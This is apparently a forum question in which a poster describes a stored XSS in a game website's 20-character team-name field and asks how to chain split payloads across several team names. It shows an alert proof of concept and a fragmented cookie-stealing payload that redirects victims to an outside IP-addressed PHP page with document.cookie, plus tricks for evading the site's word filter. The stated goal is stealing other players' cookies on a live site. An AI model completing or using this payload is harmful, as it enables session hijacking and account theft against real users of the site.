I found a parameter on a website that is vulnerable to XSS. The website is a game and the parameter in question is the name of a player team. However, the parameter is limited to only 20 characters. There is another page on the website where these player teams can be showcased. I can make multiple player teams and have their names display on this page.
I was able to create an alert box by using the following team names on three separate teams:
<script>alert(/* */'1'/* </script>
The comments skip any HTML between the team names, therefore "chaining" them and showing the alert box. However, nothing really malicious can be done with this.
I wanted to implement cookie-stealing, so first I created this payload (the IP address has been changed except for the "169" value, and the character count of the IP address is identical to the real IP address):
Of course, this would not fit in 20 characters, so I split it up like so (I am able to create up to 8 player teams to show on the page):
<script>docu/* */ment.location=/* */'http://12.16/* */9.123.929:80/1.p/* */hp?c=/* */'+docu/* */ment.cookie; */</script>
(the words "document" and "69" must be separated since the site's filter thinks they are inappropriate)
However, I encountered some problems while doing this. First off, the slashes in
http:// are interpreted as comments and start commenting undesired things. Second, whenever there is a
' symbol, any comment after it is ignored. For instance:
How can I circumvent this and make the XSS chain together?